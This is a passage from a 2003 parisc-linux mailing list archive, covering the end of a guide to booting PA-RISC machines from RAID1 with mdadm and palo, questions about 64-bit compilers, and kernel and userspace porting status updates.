    3             110     604   fd RAID
    4             605    8746   fd RAID
    ipl: addr 32768 size 30720 entry 0x0
     ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
    <2/vmlinux root=/dev/md2 HOME=/>
    ipl: addr 32768 size 30720 entry 0x0
     ko 0x48000 ksz 3687647 k64o 0x0 k64sz 0 rdo 0 rdsz 0
    <2/vmlinux root=/dev/md2 HOME=/>

I have committed a small change to palo to allow it to boot from RAID
partitions.  So you have to grab the CVS version of palo until Paul
makes a new release.


8. Update /mnt/etc/fstab so it says:

    /dev/md2   /       ext3    errors=remount-ro       0       1
    /dev/md1   none    swap    sw                      0       0
    /dev/md0   /boot   ext3    errors=remount-ro       0       2
    [...]


9. Shut down and boot off the RAID device on the second disk:

    Main Menu: Enter command > boot fwscsi.6.0

Substitute whatever the drive is called on your box.  It varies
depending on machine type.

After booting up, make sure things look like this:

    # swapon -s
    Filename                    Type            Size    Used    Priority
    /dev/md1                    partition       505912  0       -1
    # mount | grep md
    /dev/md2 on / type ext3 (rw,errors=remount-ro)
    /dev/md0 on /boot type ext3 (rw,errors=remount-ro)


10. At this point the box is running off the degraded RAID1 devices.
It is time to repartition the first disk so it matches the layout of
the second drive:

    Disk /dev/sda: 9173 MB, 9173114880 bytes
    255 heads, 63 sectors/track, 1115 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes

       Device Boot    Start       End    Blocks   Id  System
    /dev/sda1             1         5     40131   f0  Linux/PA-RISC boot
    /dev/sda2             6        14     72292+  fd  Linux raid autodetect
    /dev/sda3            15        77    506047+  fd  Linux raid autodetect
    /dev/sda4            78      1115   8337735   fd  Linux raid autodetect


13. Once partitioning is taken care of, attach the new partitions to
the existing (degraded) RAID arrays:

    # mdadm /dev/md0 -a /dev/sda2
    mdadm: hot added /dev/sda2

    # mdadm /dev/md1 -a /dev/sda3
    mdadm: hot added /dev/sda3

    # mdadm /dev/md2 -a /dev/sda4
    mdadm: hot added /dev/sda4

    # cat /proc/mdstat 
    Personalities : [linear] [raid0] [raid1] [raid5] 
    read_ahead 1024 sectors
    md0 : active raid1 sda2[2] sdb2[1]
          72192 blocks [2/1] [_U]
          [====>................]  recovery = 23.9% (18112/72192) finish=0.1min speed=6037K/sec
    [...]


After a while all devices are in sync:

    # cat /proc/mdstat
    Personalities : [linear] [raid0] [raid1] [raid5] 
    read_ahead 1024 sectors
    md0 : active raid1 sda2[0] sdb2[1]
          72192 blocks [2/2] [UU]
      
    md1 : active raid1 sda3[0] sdb3[1]
          505920 blocks [2/2] [UU]
      
    md2 : active raid1 sda4[2] sdb4[1]
          8337664 blocks [2/2] [UU]

    unused devices: <none>


14. Make sda bootable with palo:

    # palo -I /dev/sda


15. Tell the system firmware which devices to boot from (again, your
drive names may vary) and turn on auto {boot,search,start}:

    Main Menu: Enter command > pa pri fwscsi.5.0
      Primary boot path:    FWSCSI.5.0

    Main Menu: Enter command > pa alt fwscsi.6.0
      Alternate boot path:  FWSCSI.6.0

    Main Menu: Enter command > co

    Configuration Menu: Enter command > au bo on
      Auto boot:            ON

    Configuration Menu: Enter command > au sea on
      Auto search:          ON

    Configuration Menu: Enter command > au st on
      Auto start:           ON

    Configuration Menu: Enter command > reset


And that's it.  Should the primary drive fail, the system will attempt
to boot from the alternate path (Assuming the SCSI bus isn't hosed,
that is.  On servers like A500 the two drive bays are on different
controllers for this reason.  But C3000 is a workstation and doesn't
have that feature).

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 bit compiler error
Date: Tue, 14 Jan 2003 15:04:23 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F0114AC06@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622114 19985 80.91.229.3 (22 Nov 2014 02:08:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:34 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 13:04:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4164D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 13:04:31 -0700 (MST)
Original-Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191])
	by atlrel8.hp.com (Postfix) with ESMTP id EE52AA00C0D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 15:04:30 -0500 (EST)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay2.atl.hp.com (Postfix) with ESMTP id EA67B1C00A5A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 15:04:30 -0500 (EST)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <CW06KZQP>; Tue, 14 Jan 2003 15:04:30 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17391

Hi,

I am facing some problems to install compile parisc 64 bit code. Could
anybody help me?

I download and installed the following packages:

gcc package: gcc-hppa64_3.0.4ds3-7.1_hppa.deb
libc6 package: libc6_2.3.1-9_hppa.deb
libdb1-compat package: libdb1-compat_2.1.3-7_hppa.deb

the problem is I'm receiving this error message when I try to compile my
code: 
	hppa64-linux/bin/ld: cannot open crt1.o: No such file or directory

When I try to to place this file in the current directory, I receive the
error message:
	crt1.o: file not recognized: File format not recognized
	collect2: ld returned 1 exit status
Regards,

Leandro Farinati


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 bit compiler error
Date: Tue, 14 Jan 2003 12:02:32 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030114200232.GK12986@tausq.org>
References: <9A0482A7BD2506488AD9417C93F3714F0114AC06@xsp01.brazil.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622114 19987 80.91.229.3 (22 Nov 2014 02:08:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:34 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 13:07:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 276AA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 13:07:28 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 90C6ECD3A7; Tue, 14 Jan 2003 12:02:32 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F0114AC06@xsp01.brazil.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17392

> the problem is I'm receiving this error message when I try to compile my
> code: 
> 	hppa64-linux/bin/ld: cannot open crt1.o: No such file or directory
> 
> When I try to to place this file in the current directory, I receive the
> error message:
> 	crt1.o: file not recognized: File format not recognized
> 	collect2: ld returned 1 exit status

as willy already pointed out, there is no 64-bit userspace on palinux
yet. the 64-bit compilers are only meant for compiling kernels.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 status update 2003-01-14
Date: Tue, 14 Jan 2003 23:27:15 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <200301142327.16050.deller@gmx.de>
References: <20030114155409.X26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622114 19992 80.91.229.3 (22 Nov 2014 02:08:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:34 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 15:27:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id C31F04829
	for <parisc-linux@parisc-linux.org>; Tue, 14 Jan 2003 15:27:51 -0700 (MST)
Original-Received: (qmail 22185 invoked by uid 0); 14 Jan 2003 22:27:49 -0000
Original-Received: from pd90407df.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.223)
  by mail.gmx.net (mp012-rz3) with SMTP; 14 Jan 2003 22:27:49 -0000
User-Agent: KMail/1.5.9
In-Reply-To: <20030114155409.X26554@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17393

Hi Matthew,

some comments from me too:

On Tuesday 14 January 2003 16:54, Matthew Wilcox wrote:
>  - Helge went completely nuts on drivers/video ;-)

:-)

> The largest chunks of that are:
>
> -rw-r--r--    1 willy    willy      166953 Jan 12 07:54 parisc-hil.diff
> -rw-r--r--    1 willy    willy      151345 Jan 12 07:47 parisc-video.diff
>
> I'm not worried about drivers/video; Helge's doing a great job staying
> synchronised with James Simmons' fb tree and that artificially inflates
> that diff.

Correct. I'll continue to feed James with our changes, so next time
when Linus syncs, we should be done.

> I am a little worried about the HIL keyboard/mouse/etc.  If someone could
> step up to take care of making them work in 2.5 and generally look after
> them, that'd be great.

It's on my todo-list, but sadly I'm currently a little too much busy with
my day-job. I'll hope to find some time in the next 10 days to look closer at this.

> Status:
> -------
>  - Merged to 2.5.58
>  - 2.5.57 booted on A500.  712 has serial problems.
>  - 2.5.56 booted on A500, 712

2.5.58-pa2 booted on 715/64

> Todo:
> -----
>  - Serial code not working for c3000 (helge)

Sadly my c3000 is completely broken, so I won't be able to test it anymore.

>  - Some options still need Kconfig help entries

Maybe some of our native english speakers could jump in here ?

>  - drivers/char/keyboard.c:987:2: warning: #warning "Cannot generate
> rawmode keyboard for your architecture yet."

I might look at this...

>  - our PDC early debug console hacks need to be cleaned up somehow

... and this too.

BTW, what happened to our IODC-Console ?????

>  - fix HIL problem: ksoftirqd eats 100% cpu (kernel 2.4; kernel 2.5?)

I'll try to look at this too.

>  - proc files are b0rken (interrupts), possible irqi funcs related pb.

pa64:~# cat /proc/interrupts 
           CPU00 
 32:     108092      PARISC-CPU  timer
 33:      13183      PARISC-CPU  lasi
 39:    1122504      PARISC-CPU  wax
 86:      11647            Lasi  lasi710
 87:        969            Lasi  i82596
 90:        569            Lasi  serial
125:          0             Wax  HP SDC NMI
126:    1122503             Wax  HP SDC

pa64:~# uname -a
Linux pa64 2.5.58-pa2 #349 Tue Jan 14 23:00:41 CET 2003 parisc unknown unknown GNU/Linux

I think I fixed that 1-2 weeks ago.

> - kernel module loader support

YES, PLEASE !


>  Started and in progress:
>  ------------------------
>  - port sym53c8xx hppa changes forward (helge)

I can't continue here, maybe some can take over and look if it's still necessary ?

>  - port hil_kbd.c to new input layer
>  - port hil_ptr.c to new input layer

belongs to HIL stuff.


Helge



From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] g++ compiler
Date: Tue, 14 Jan 2003 17:37:41 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20030114223741.GB8360@systemhalted>
References: <9A0482A7BD2506488AD9417C93F3714F0114A6FA@xsp01.brazil.hp.com> <20030114175555.Y26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622115 19995 80.91.229.3 (22 Nov 2014 02:08:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:35 +0000 (UTC)
Cc: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>,
	"Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 15:38:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 101BA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Jan 2003 15:38:07 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YZgk-0002dl-00; Tue, 14 Jan 2003 17:37:42 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	"FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>,
	"Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <20030114175555.Y26554@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (47% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17394

> > 	Where am I found the g++ 64 compiler for pa-risc? I am need to
> > compile a 64 bits applications and I am only found the gcc compiler for 64,
> > I install this compiler and when I try to compile a c++ aplication for 64, I
> > receive the message that the g++ compiler was not installed.
> 
> there is no 64-bit userspace available for PA/Linux yet.
> 

I'm sitting in my living room working on a static 64-bit userspace, but
the TODO list for even the 32-bit userspace is still big :)

c.


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS checkouts on ftp server
Followup-To: gmane.linux.ports.hppa
Date: Wed, 15 Jan 2003 12:21:23 +0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20030115122121.C799@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622115 19997 80.91.229.3 (22 Nov 2014 02:08:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:35 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 20:10:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (p141.sw02.auto.usertools.net [202.154.81.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 450424829
	for <parisc-linux@parisc-linux.org>; Tue, 14 Jan 2003 20:10:23 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id MAA19347
	for parisc-linux@parisc-linux.org; Wed, 15 Jan 2003 12:21:27 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17395

I was trawling through ftp.parisc-linux.org/cvs looking for a tarball of
the linux-2.5 tree and couldn't see anything, apart from a /cvs/2.5
directory (which is currently empty).

Is there enough disk space to do a linux-2.5 tarball for the FTP server?

Also the /cvs directory contains a few files that look like stuff-ups
from the CVS tarball roller: linux-.tar.gz and patch-.diff.gz ...

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PARISC Userspace Updates 2003-01-14
Date: Wed, 15 Jan 2003 00:49:42 -0500
Lines: 78
Approved: news@gmane.org
Message-ID: <20030115054942.GK11375@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622115 19998 80.91.229.3 (22 Nov 2014 02:08:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:35 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 22:49:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82DAA4829
	for <parisc-linux@parisc-linux.org>; Tue, 14 Jan 2003 22:49:33 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18YgQo-0003es-00
	for <parisc-linux@parisc-linux.org>; Wed, 15 Jan 2003 00:49:42 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17396

A new year and a new look at our userspace. Spurred on by Willy's email
about Kernel developments, I wanted to recap some userspace movement in
the past while: 

--- Individual Maintainers ---

- John David Anglin (JDA) is spearheading gcc development for hppa
	= Developing the coolest locking primitive ever seen in glibc.
	= Spotted nasty lock mistakes in pthreads
	= Has gcc failing less and running faster.

- Carlos O'Donell took over Glibc development from Willy
	= Sent 90% of the glibc patches upstream
	 - Big thanks to Willy who did a _lot_ of the 
	   original work, and suffered through it's maintenance.
	= Fixed rounding mask bugs in glibc fp* code
	= SHMLBA bugs squashed
	= Synchronized sigcontext between kernel and glibc.
	= Going crazy on Glibc, and writing static 64-bit Glibc.
	= We saw 2.3.x released for HPPA :)
	= Mulling over cache coherency, ldcw, and D-cache move-in's.

- I think JDA took over binutils for HPPA too...

--- Currently Being worked On ---

- GNU Glibc

	= Preparing final 10% into a form that can be accepted
	  upstream.
	= Fixing locking primitives.
	= Trying to have zero failures in 'make check'
	= fraiseexcept is still a bugger with delayed exceptions?
	= EWOULDBLOCK emulation needs analysis.
	= setjmp/longjmp implementation needs testing.
	= Implementing *context() calls.
	= Make atomic ops atomic (atomicity.h)
	= Initial implementation of a static 64-bit Glibc is in 
	  the works.

- GNU Gdb

	= Initially maintained as a patch for GDB 5.2 in debian.
	= Not an offical GDB port yet...
	= Carlos is working on and off to work this into
	  GDB 5.3, since he agreed to do it for Drow.
	= Help appreciated.
	= Thanks for various people like Richard, JDA and Randolph
	  for fixing bugs.

- GNU Binutils

	= A mystery to me... and I actively read the mailinglist :)
	= I believe we have some symbol visibility bugs.

====

Things that could be done if anyone is thinking of a project, though
help on the above is much more appreciated.

- Prelink on HPPA, requiring some binutils/glibc changes
	= http://freshmeat.net/projects/prelink/?topic_id=253
- NTPL on HPPA, requiring gcc/binutils/glibc changes
	= http://people.redhat.com/drepper/nptl-design.pdf
	= http://people.redhat.com/drepper/tls.pdf

====

How other ports do it, I'm not sure. There's a lot of love in this
particular port :) Again, many thanks to all of the hardworking
individuals who help. 

Cheers,
Carlos.

p.s. Any glaring inconsistencies or lack of knowledge are mine and mine
     alone, so feel free to correct them.


From - Thu Nov 08 21:26:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Userspace Updates 2003-01-14
Date: Wed, 15 Jan 2003 01:40:17 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200301150640.h0F6eJmY018357@hiauly1.hia.nrc.ca>
References: <20030115054942.GK11375@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622116 20003 80.91.229.3 (22 Nov 2014 02:08:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 14 23:40:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 742904829
	for <parisc-linux@parisc-linux.org>; Tue, 14 Jan 2003 23:40:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0F6eKot018358;
	Wed, 15 Jan 2003 01:40:21 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0F6eJmY018357;
	Wed, 15 Jan 2003 01:40:19 -0500 (EST)
In-Reply-To: <20030115054942.GK11375@systemhalted> from "Carlos O'Donell" at Jan 15, 2003 00:49:42 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17397

> - I think JDA took over binutils for HPPA too...

;-(

> 	= I believe we have some symbol visibility bugs.

I have some testsuite fixes that make them invisible.  I'm not aware
of any actual bugs (except hppa64).

Dave
-- 
